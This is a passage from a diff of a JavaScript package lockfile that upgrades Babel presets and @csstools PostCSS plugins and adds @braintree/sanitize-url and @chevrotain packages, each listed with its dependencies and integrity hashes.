"^7.25.9", "@babel/plugin-transform-class-static-block": "^7.26.0", "@babel/plugin-transform-classes": "^7.25.9", "@babel/plugin-transform-computed-properties": "^7.25.9", "@babel/plugin-transform-destructuring": "^7.25.9", "@babel/plugin-transform-dotall-regex": "^7.25.9", "@babel/plugin-transform-duplicate-keys": "^7.25.9", "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.25.9", "@babel/plugin-transform-dynamic-import": "^7.25.9", "@babel/plugin-transform-exponentiation-operator": "^7.26.3", "@babel/plugin-transform-export-namespace-from": "^7.25.9", "@babel/plugin-transform-for-of": "^7.26.9", "@babel/plugin-transform-function-name": "^7.25.9", "@babel/plugin-transform-json-strings": "^7.25.9", "@babel/plugin-transform-literals": "^7.25.9", "@babel/plugin-transform-logical-assignment-operators": "^7.25.9", "@babel/plugin-transform-member-expression-literals": "^7.25.9", "@babel/plugin-transform-modules-amd": "^7.25.9", "@babel/plugin-transform-modules-commonjs": "^7.26.3", "@babel/plugin-transform-modules-systemjs": "^7.25.9", "@babel/plugin-transform-modules-umd": "^7.25.9", "@babel/plugin-transform-named-capturing-groups-regex": "^7.25.9", "@babel/plugin-transform-new-target": "^7.25.9", "@babel/plugin-transform-nullish-coalescing-operator": "^7.26.6", "@babel/plugin-transform-numeric-separator": "^7.25.9", "@babel/plugin-transform-object-rest-spread": "^7.25.9", "@babel/plugin-transform-object-super": "^7.25.9", "@babel/plugin-transform-optional-catch-binding": "^7.25.9", "@babel/plugin-transform-optional-chaining": "^7.25.9", "@babel/plugin-transform-parameters": "^7.25.9", "@babel/plugin-transform-private-methods": "^7.25.9", "@babel/plugin-transform-private-property-in-object": "^7.25.9", "@babel/plugin-transform-property-literals": "^7.25.9", "@babel/plugin-transform-regenerator": "^7.25.9", "@babel/plugin-transform-regexp-modifiers": "^7.26.0", "@babel/plugin-transform-reserved-words": "^7.25.9", "@babel/plugin-transform-shorthand-properties": "^7.25.9", "@babel/plugin-transform-spread": "^7.25.9", "@babel/plugin-transform-sticky-regex": "^7.25.9", "@babel/plugin-transform-template-literals": "^7.26.8", "@babel/plugin-transform-typeof-symbol": "^7.26.7", "@babel/plugin-transform-unicode-escapes": "^7.25.9", "@babel/plugin-transform-unicode-property-regex": "^7.25.9", "@babel/plugin-transform-unicode-regex": "^7.25.9", "@babel/plugin-transform-unicode-sets-regex": "^7.25.9", "@babel/preset-modules": "0.1.6-no-external-plugins", "babel-plugin-polyfill-corejs2": "^0.4.10", "babel-plugin-polyfill-corejs3": "^0.11.0", "babel-plugin-polyfill-regenerator": "^0.6.1", "core-js-compat": "^3.40.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vX3qPGE8sEKEAZCWk05k3cpTAE3/nOYca++JA+Rd0z2NCNzabmYvEiSShKzm10zdquOIAVXsy2Ei/DTW34KlKQ=="],
+ "@babel/preset-env": ["@babel/preset-env@7.28.5", "", { "dependencies": { "@babel/compat-data": "^7.28.5", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.28.5", "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.27.1", "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.27.1", "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.27.1", "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.28.3", "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", "@babel/plugin-syntax-import-assertions": "^7.27.1", "@babel/plugin-syntax-import-attributes": "^7.27.1", "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", "@babel/plugin-transform-arrow-functions": "^7.27.1", "@babel/plugin-transform-async-generator-functions": "^7.28.0", "@babel/plugin-transform-async-to-generator": "^7.27.1", "@babel/plugin-transform-block-scoped-functions": "^7.27.1", "@babel/plugin-transform-block-scoping": "^7.28.5", "@babel/plugin-transform-class-properties": "^7.27.1", "@babel/plugin-transform-class-static-block": "^7.28.3", "@babel/plugin-transform-classes": "^7.28.4", "@babel/plugin-transform-computed-properties": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.5", "@babel/plugin-transform-dotall-regex": "^7.27.1", "@babel/plugin-transform-duplicate-keys": "^7.27.1", "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-dynamic-import": "^7.27.1", "@babel/plugin-transform-explicit-resource-management": "^7.28.0", "@babel/plugin-transform-exponentiation-operator": "^7.28.5", "@babel/plugin-transform-export-namespace-from": "^7.27.1", "@babel/plugin-transform-for-of": "^7.27.1", "@babel/plugin-transform-function-name": "^7.27.1", "@babel/plugin-transform-json-strings": "^7.27.1", "@babel/plugin-transform-literals": "^7.27.1", "@babel/plugin-transform-logical-assignment-operators": "^7.28.5", "@babel/plugin-transform-member-expression-literals": "^7.27.1", "@babel/plugin-transform-modules-amd": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-modules-systemjs": "^7.28.5", "@babel/plugin-transform-modules-umd": "^7.27.1", "@babel/plugin-transform-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-new-target": "^7.27.1", "@babel/plugin-transform-nullish-coalescing-operator": "^7.27.1", "@babel/plugin-transform-numeric-separator": "^7.27.1", "@babel/plugin-transform-object-rest-spread": "^7.28.4", "@babel/plugin-transform-object-super": "^7.27.1", "@babel/plugin-transform-optional-catch-binding": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.28.5", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/plugin-transform-private-methods": "^7.27.1", "@babel/plugin-transform-private-property-in-object": "^7.27.1", "@babel/plugin-transform-property-literals": "^7.27.1", "@babel/plugin-transform-regenerator": "^7.28.4", "@babel/plugin-transform-regexp-modifiers": "^7.27.1", "@babel/plugin-transform-reserved-words": "^7.27.1", "@babel/plugin-transform-shorthand-properties": "^7.27.1", "@babel/plugin-transform-spread": "^7.27.1", "@babel/plugin-transform-sticky-regex": "^7.27.1", "@babel/plugin-transform-template-literals": "^7.27.1", "@babel/plugin-transform-typeof-symbol": "^7.27.1", "@babel/plugin-transform-unicode-escapes": "^7.27.1", "@babel/plugin-transform-unicode-property-regex": "^7.27.1", "@babel/plugin-transform-unicode-regex": "^7.27.1", "@babel/plugin-transform-unicode-sets-regex": "^7.27.1", "@babel/preset-modules": "0.1.6-no-external-plugins", "babel-plugin-polyfill-corejs2": "^0.4.14", "babel-plugin-polyfill-corejs3": "^0.13.0", "babel-plugin-polyfill-regenerator": "^0.6.5", "core-js-compat": "^3.43.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-S36mOoi1Sb6Fz98fBfE+UZSpYw5mJm0NUHtIKrOuNcqeFauy1J6dIvXm2KRVKobOSaGq4t/hBXdN4HGU3wL9Wg=="],
"@babel/preset-modules": ["@babel/preset-modules@0.1.6-no-external-plugins", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.0.0", "@babel/types": "^7.4.4", "esutils": "^2.0.2" }, "peerDependencies": { "@babel/core": "^7.0.0-0 || ^8.0.0-0 <8.0.0" } }, "sha512-HrcgcIESLm9aIR842yhJ5RWan/gebQUJ6E/E5+rf0y9o6oj7w0Br+sWuL6kEQ/o/AdfvR1Je9jG18/gnpwjEyA=="],
- "@babel/preset-react": ["@babel/preset-react@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-validator-option": "^7.22.15", "@babel/plugin-transform-react-display-name": "^7.23.3", "@babel/plugin-transform-react-jsx": "^7.22.15", "@babel/plugin-transform-react-jsx-development": "^7.22.5", "@babel/plugin-transform-react-pure-annotations": "^7.23.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-tbkHOS9axH6Ysf2OUEqoSZ6T3Fa2SrNH6WTWSPBboxKzdxNc9qOICeLXkNG0ZEwbQ1HY8liwOce4aN/Ceyuq6w=="],
+ "@babel/preset-react": ["@babel/preset-react@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-transform-react-display-name": "^7.28.0", "@babel/plugin-transform-react-jsx": "^7.27.1", "@babel/plugin-transform-react-jsx-development": "^7.27.1", "@babel/plugin-transform-react-pure-annotations": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Z3J8vhRq7CeLjdC58jLv4lnZ5RKFUJWqH5emvxmv9Hv3BD1T9R/Im713R4MTKwvFaV74ejZ3sM01LyEKk4ugNQ=="],
- "@babel/preset-typescript": ["@babel/preset-typescript@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-validator-option": "^7.22.15", "@babel/plugin-syntax-jsx": "^7.23.3", "@babel/plugin-transform-modules-commonjs": "^7.23.3", "@babel/plugin-transform-typescript": "^7.23.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-17oIGVlqz6CchO9RFYn5U6ZpWRZIngayYCtrPRSgANSwC2V1Jb+iP74nVxzzXJte8b8BYxrL1yY96xfhTBrNNQ=="],
+ "@babel/preset-typescript": ["@babel/preset-typescript@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-typescript": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+bQy5WOI2V6LJZpPVxY+yp66XdZ2yifu0Mc1aP5CQKgjn4QM5IN2i5fAZ4xKop47pr8rpVhiAeu+nDQa12C8+g=="],
"@babel/runtime": ["@babel/runtime@7.26.10", "", { "dependencies": { "regenerator-runtime": "^0.14.0" } }, "sha512-2WJMeRQPHKSPemqk/awGrAiuFfzBmOIPXKizAsVhWH9YJqLZ0H+HS4c8loHGgW6utJ3E/ejXQUsiGaQy2NZ9Fw=="],
@@ -899,8 +917,20 @@
"@bcoe/v8-coverage": ["@bcoe/v8-coverage@0.2.3", "", {}, "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw=="],
+ "@braintree/sanitize-url": ["@braintree/sanitize-url@7.1.2", "", {}, "sha512-jigsZK+sMF/cuiB7sERuo9V7N9jx+dhmHHnQyDSVdpZwVutaBu7WvNYqMDLSgFgfB30n452TP3vjDAvFC973mA=="],
+
"@cfworker/json-schema": ["@cfworker/json-schema@4.1.1", "", {}, "sha512-gAmrUZSGtKc3AiBL71iNWxDsyUC5uMaKKGdvzYsBoTW/xi42JQHl7eKV2OYzCUqvc+D2RCcf7EXY2iCyFIk6og=="],
+ "@chevrotain/cst-dts-gen": ["@chevrotain/cst-dts-gen@11.1.2", "", { "dependencies": { "@chevrotain/gast": "11.1.2", "@chevrotain/types": "11.1.2", "lodash-es": "4.17.23" } }, "sha512-XTsjvDVB5nDZBQB8o0o/0ozNelQtn2KrUVteIHSlPd2VAV2utEb6JzyCJaJ8tGxACR4RiBNWy5uYUHX2eji88Q=="],
+
+ "@chevrotain/gast": ["@chevrotain/gast@11.1.2", "", { "dependencies": { "@chevrotain/types": "11.1.2", "lodash-es": "4.17.23" } }, "sha512-Z9zfXR5jNZb1Hlsd/p+4XWeUFugrHirq36bKzPWDSIacV+GPSVXdk+ahVWZTwjhNwofAWg/sZg58fyucKSQx5g=="],
+
+ "@chevrotain/regexp-to-ast": ["@chevrotain/regexp-to-ast@11.1.2", "", {}, "sha512-nMU3Uj8naWer7xpZTYJdxbAs6RIv/dxYzkYU8GSwgUtcAAlzjcPfX1w+RKRcYG8POlzMeayOQ/znfwxEGo5ulw=="],
+
+ "@chevrotain/types": ["@chevrotain/types@11.1.2", "", {}, "sha512-U+HFai5+zmJCkK86QsaJtoITlboZHBqrVketcO2ROv865xfCMSFpELQoz1GkX5GzME8pTa+3kbKrZHQtI0gdbw=="],
+
+ "@chevrotain/utils": ["@chevrotain/utils@11.1.2", "", {}, "sha512-4mudFAQ6H+MqBTfqLmU7G1ZwRzCLfJEooL/fsF6rCX5eePMbGhoy5n4g+G4vlh2muDcsCTJtL+uKbOzWxs5LHA=="],
+
"@codemirror/autocomplete": ["@codemirror/autocomplete@6.18.0", "", { "dependencies": { "@codemirror/language": "^6.0.0", "@codemirror/state": "^6.0.0", "@codemirror/view": "^6.17.0", "@lezer/common": "^1.0.0" }, "peerDependencies": { "@codemirror/language": "^6.0.0", "@codemirror/state": "^6.0.0", "@codemirror/view": "^6.0.0", "@lezer/common": "^1.0.0" } }, "sha512-5DbOvBbY4qW5l57cjDsmmpDh3/TeK1vXfTHa+BUMrRzdWdcxKZ4U4V7vQaTtOpApNU4kLS4FQ6cINtLg245LXA=="],
"@codemirror/commands": ["@codemirror/commands@6.6.0", "", { "dependencies": { "@codemirror/language": "^6.0.0", "@codemirror/state": "^6.4.0", "@codemirror/view": "^6.27.0", "@lezer/common": "^1.1.0" } }, "sha512-qnY+b7j1UNcTS31Eenuc/5YJB6gQOzkUoNmJQc0rznwqSRpeaWWpjkWy2C/MPTcePpsKJEM26hXrOXl1+nceXg=="],
@@ -929,67 +959,109 @@
"@cspotcode/source-map-support": ["@cspotcode/source-map-support@0.8.1", "", { "dependencies": { "@jridgewell/trace-mapping": "0.3.9" } }, "sha512-IchNf6dN4tHoMFIn/7OE8LWZ19Y6q/67Bmf6vnGREv8RSbBVb9LPJxEcnwrcwX6ixSvaiGoomAUvu4YSxXrVgw=="],
- "@csstools/cascade-layer-name-parser": ["@csstools/cascade-layer-name-parser@1.0.7", "", { "peerDependencies": { "@csstools/css-parser-algorithms": "^2.5.0", "@csstools/css-tokenizer": "^2.2.3" } }, "sha512-9J4aMRJ7A2WRjaRLvsMeWrL69FmEuijtiW1XlK/sG+V0UJiHVYUyvj9mY4WAXfU/hGIiGOgL8e0jJcRyaZTjDQ=="],
+ "@csstools/cascade-layer-name-parser": ["@csstools/cascade-layer-name-parser@3.0.0", "", { "peerDependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" } }, "sha512-/3iksyevwRfSJx5yH0RkcrcYXwuhMQx3Juqf40t97PeEy2/Mz2TItZ/z/216qpe4GgOyFBP8MKIwVvytzHmfIQ=="],
- "@csstools/color-helpers": ["@csstools/color-helpers@2.1.0", "", {}, "sha512-OWkqBa7PDzZuJ3Ha7T5bxdSVfSCfTq6K1mbAhbO1MD+GSULGjrp45i5RudyJOedstSarN/3mdwu9upJE7gDXfw=="],
+ "@csstools/color-helpers": ["@csstools/color-helpers@6.0.2", "", {}, "sha512-LMGQLS9EuADloEFkcTBR3BwV/CGHV7zyDxVRtVDTwdI2Ca4it0CCVTT9wCkxSgokjE5Ho41hEPgb8OEUwoXr6Q=="],
- "@csstools/css-calc": ["@csstools/css-calc@1.1.6", "", { "peerDependencies": { "@csstools/css-parser-algorithms": "^2.5.0", "@csstools/css-tokenizer": "^2.2.3" } }, "sha512-YHPAuFg5iA4qZGzMzvrQwzkvJpesXXyIUyaONflQrjtHB+BcFFbgltJkIkb31dMGO4SE9iZFA4HYpdk7+hnYew=="],
+ "@csstools/css-calc": ["@csstools/css-calc@3.1.1", "", { "peerDependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" } }, "sha512-HJ26Z/vmsZQqs/o3a6bgKslXGFAungXGbinULZO3eMsOyNJHeBBZfup5FiZInOghgoM4Hwnmw+OgbJCNg1wwUQ=="],
- "@csstools/css-color-parser": ["@csstools/css-color-parser@1.5.1", "", { "dependencies": { "@csstools/color-helpers": "^4.0.0", "@csstools/css-calc": "^1.1.6" }, "peerDependencies": { "@csstools/css-parser-algorithms": "^2.5.0", "@csstools/css-tokenizer": "^2.2.3" } }, "sha512-x+SajGB2paGrTjPOUorGi8iCztF008YMKXTn+XzGVDBEIVJ/W1121pPerpneJYGOe1m6zWLPLnzOPaznmQxKFw=="],
+ "@csstools/css-color-parser": ["@csstools/css-color-parser@4.0.2", "", { "dependencies": { "@csstools/color-helpers": "^6.0.2", "@csstools/css-calc": "^3.1.1" }, "peerDependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" } }, "sha512-0GEfbBLmTFf0dJlpsNU7zwxRIH0/BGEMuXLTCvFYxuL1tNhqzTbtnFICyJLTNK4a+RechKP75e7w42ClXSnJQw=="],
- "@csstools/css-parser-algorithms": ["@csstools/css-parser-algorithms@2.5.0", "", { "peerDependencies": { "@csstools/css-tokenizer": "^2.2.3" } }, "sha512-abypo6m9re3clXA00eu5syw+oaPHbJTPapu9C4pzNsJ4hdZDzushT50Zhu+iIYXgEe1CxnRMn7ngsbV+MLrlpQ=="],
+ "@csstools/css-parser-algorithms": ["@csstools/css-parser-algorithms@4.0.0", "", { "peerDependencies": { "@csstools/css-tokenizer": "^4.0.0" } }, "sha512-+B87qS7fIG3L5h3qwJ/IFbjoVoOe/bpOdh9hAjXbvx0o8ImEmUsGXN0inFOnk2ChCFgqkkGFQ+TpM5rbhkKe4w=="],
- "@csstools/css-tokenizer": ["@csstools/css-tokenizer@2.2.3", "", {}, "sha512-pp//EvZ9dUmGuGtG1p+n17gTHEOqu9jO+FiCUjNN3BDmyhdA2Jq9QsVeR7K8/2QCK17HSsioPlTW9ZkzoWb3Lg=="],
+ "@csstools/css-tokenizer": ["@csstools/css-tokenizer@4.0.0", "", {}, "sha512-QxULHAm7cNu72w97JUNCBFODFaXpbDg+dP8b/oWFAZ2MTRppA3U00Y2L1HqaS4J6yBqxwa/Y3nMBaxVKbB/NsA=="],
- "@csstools/media-query-list-parser": ["@csstools/media-query-list-parser@2.1.7", "", { "peerDependencies": { "@csstools/css-parser-algorithms": "^2.5.0", "@csstools/css-tokenizer": "^2.2.3" } }, "sha512-lHPKJDkPUECsyAvD60joYfDmp8UERYxHGkFfyLJFTVK/ERJe0sVlIFLXU5XFxdjNDTerp5L4KeaKG+Z5S94qxQ=="],
+ "@csstools/media-query-list-parser": ["@csstools/media-query-list-parser@5.0.0", "", { "peerDependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" } }, "sha512-T9lXmZOfnam3eMERPsszjY5NK0jX8RmThmmm99FZ8b7z8yMaFZWKwLWGZuTwdO3ddRY5fy13GmmEYZXB4I98Eg=="],
- "@csstools/postcss-cascade-layers": ["@csstools/postcss-cascade-layers@3.0.1", "", { "dependencies": { "@csstools/selector-specificity": "^2.0.2", "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-dD8W98dOYNOH/yX4V4HXOhfCOnvVAg8TtsL+qCGNoKXuq5z2C/d026wGWgySgC8cajXXo/wNezS31Glj5GcqrA=="],
+ "@csstools/postcss-alpha-function": ["@csstools/postcss-alpha-function@2.0.3", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-8GqzD3JnfpKJSVxPIC0KadyAfB5VRzPZdv7XQ4zvK1q0ku+uHVUAS2N/IDavQkW40gkuUci64O0ea6QB/zgCSw=="],
- "@csstools/postcss-color-function": ["@csstools/postcss-color-function@2.2.3", "", { "dependencies": { "@csstools/css-color-parser": "^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1", "@csstools/postcss-progressive-custom-properties": "^2.3.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-b1ptNkr1UWP96EEHqKBWWaV5m/0hgYGctgA/RVZhONeP1L3T/8hwoqDm9bB23yVCfOgE9U93KI9j06+pEkJTvw=="],
+ "@csstools/postcss-cascade-layers": ["@csstools/postcss-cascade-layers@6.0.0", "", { "dependencies": { "@csstools/selector-specificity": "^6.0.0", "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-WhsECqmrEZQGqaPlBA7JkmF/CJ2/+wetL4fkL9sOPccKd32PQ1qToFM6gqSI5rkpmYqubvbxjEJhyMTHYK0vZQ=="],
- "@csstools/postcss-color-mix-function": ["@csstools/postcss-color-mix-function@1.0.3", "", { "dependencies": { "@csstools/css-color-parser": "^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1", "@csstools/postcss-progressive-custom-properties": "^2.3.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-QGXjGugTluqFZWzVf+S3wCiRiI0ukXlYqCi7OnpDotP/zaVTyl/aqZujLFzTOXy24BoWnu89frGMc79ohY5eog=="],
+ "@csstools/postcss-color-function": ["@csstools/postcss-color-function@5.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-CjBdFemUFcAh3087MEJhZcO+QT1b8S75agysa1rU9TEC1YecznzwV+jpMxUc0JRBEV4ET2PjLssqmndR9IygeA=="],
- "@csstools/postcss-font-format-keywords": ["@csstools/postcss-font-format-keywords@2.0.2", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-iKYZlIs6JsNT7NKyRjyIyezTCHLh4L4BBB3F5Nx7Dc4Z/QmBgX+YJFuUSar8IM6KclGiAUFGomXFdYxAwJydlA=="],
+ "@csstools/postcss-color-function-display-p3-linear": ["@csstools/postcss-color-function-display-p3-linear@2.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-TWUwSe1+2KdYGGWTx5LR4JQN07vKHAeSho+bGYRgow+9cs3dqgOqS1f/a1odiX30ESmZvwIudJ86wzeiDR6UGg=="],
- "@csstools/postcss-gradients-interpolation-method": ["@csstools/postcss-gradients-interpolation-method@3.0.6", "", { "dependencies": { "@csstools/css-color-parser": "^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1", "@csstools/postcss-progressive-custom-properties": "^2.3.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-rBOBTat/YMmB0G8VHwKqDEx+RZ4KCU9j42K8LwS0IpZnyThalZZF7BCSsZ6TFlZhcRZKlZy3LLFI2pLqjNVGGA=="],
+ "@csstools/postcss-color-mix-function": ["@csstools/postcss-color-mix-function@4.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-PFKQKswFqZrYKpajZsP4lhqjU/6+J5PTOWq1rKiFnniKsf4LgpGXrgHS/C6nn5Rc51LX0n4dWOWqY5ZN2i5IjA=="],
- "@csstools/postcss-hwb-function": ["@csstools/postcss-hwb-function@2.2.2", "", { "dependencies": { "@csstools/css-color-parser": "^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-W5Y5oaJ382HSlbdGfPf60d7dAK6Hqf10+Be1yZbd/TNNrQ/3dDdV1c07YwOXPQ3PZ6dvFMhxbIbn8EC3ki3nEg=="],
+ "@csstools/postcss-color-mix-variadic-function-arguments": ["@csstools/postcss-color-mix-variadic-function-arguments@2.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-zEchsghpDH/6SytyjKu9TIPm4hiiWcur102cENl54cyIwTZsa+2MBJl/vtyALZ+uQ17h27L4waD+0Ow96sgZow=="],
- "@csstools/postcss-ic-unit": ["@csstools/postcss-ic-unit@2.0.4", "", { "dependencies": { "@csstools/postcss-progressive-custom-properties": "^2.3.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-9W2ZbV7whWnr1Gt4qYgxMWzbevZMOvclUczT5vk4yR6vS53W/njiiUhtm/jh/BKYwQ1W3PECZjgAd2dH4ebJig=="],
+ "@csstools/postcss-content-alt-text": ["@csstools/postcss-content-alt-text@3.0.0", "", { "dependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-OHa+4aCcrJtHpPWB3zptScHwpS1TUbeLR4uO0ntIz0Su/zw9SoWkVu+tDMSySSAsNtNSI3kut4fTliFwIsrHxA=="],
- "@csstools/postcss-is-pseudo-class": ["@csstools/postcss-is-pseudo-class@3.2.1", "", { "dependencies": { "@csstools/selector-specificity": "^2.0.0", "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-AtANdV34kJl04Al62is3eQRk/BfOfyAvEmRJvbt+nx5REqImLC+2XhuE6skgkcPli1l8ONS67wS+l1sBzySc3Q=="],
+ "@csstools/postcss-contrast-color-function": ["@csstools/postcss-contrast-color-function@3.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-fwOz/m+ytFPz4aIph2foQS9nEDOdOjYcN5bgwbGR2jGUV8mYaeD/EaTVMHTRb/zqB65y2qNwmcFcE6VQty69Pw=="],
- "@csstools/postcss-logical-float-and-clear": ["@csstools/postcss-logical-float-and-clear@1.0.1", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-eO9z2sMLddvlfFEW5Fxbjyd03zaO7cJafDurK4rCqyRt9P7aaWwha0LcSzoROlcZrw1NBV2JAp2vMKfPMQO1xw=="],
+ "@csstools/postcss-exponential-functions": ["@csstools/postcss-exponential-functions@3.0.1", "", { "dependencies": { "@csstools/css-calc": "^3.1.1", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-WHJ52Uk0AVUIICEYRY9xFHJZAuq0ZVg0f8xzqUN2zRFrZvGgRPpFwxK7h9FWvqKIOueOwN6hnJD23A8FwsUiVw=="],
- "@csstools/postcss-logical-resize": ["@csstools/postcss-logical-resize@1.0.1", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-x1ge74eCSvpBkDDWppl+7FuD2dL68WP+wwP2qvdUcKY17vJksz+XoE1ZRV38uJgS6FNUwC0AxrPW5gy3MxsDHQ=="],
+ "@csstools/postcss-font-format-keywords": ["@csstools/postcss-font-format-keywords@5.0.0", "", { "dependencies": { "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-M1EjCe/J3u8fFhOZgRci74cQhJ7R0UFBX6T+WqoEvjrr8hVfMiV+HTYrzxLY5OW8YllvXYr5Q5t5OvJbsUSeDg=="],
- "@csstools/postcss-logical-viewport-units": ["@csstools/postcss-logical-viewport-units@1.0.3", "", { "dependencies": { "@csstools/css-tokenizer": "^2.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-6zqcyRg9HSqIHIPMYdt6THWhRmE5/tyHKJQLysn2TeDf/ftq7Em9qwMTx98t2C/7UxIsYS8lOiHHxAVjWn2WUg=="],
+ "@csstools/postcss-font-width-property": ["@csstools/postcss-font-width-property@1.0.0", "", { "dependencies": { "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-AvmySApdijbjYQuXXh95tb7iVnqZBbJrv3oajO927ksE/mDmJBiszm+psW8orL2lRGR8j6ZU5Uv9/ou2Z5KRKA=="],
- "@csstools/postcss-media-minmax": ["@csstools/postcss-media-minmax@1.1.2", "", { "dependencies": { "@csstools/css-calc": "^1.1.6", "@csstools/css-parser-algorithms": "^2.5.0", "@csstools/css-tokenizer": "^2.2.3", "@csstools/media-query-list-parser": "^2.1.7" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-7qTRTJxW96u2yiEaTep1+8nto1O/rEDacewKqH+Riq5E6EsHTOmGHxkB4Se5Ic5xgDC4I05lLZxzzxnlnSypxA=="],
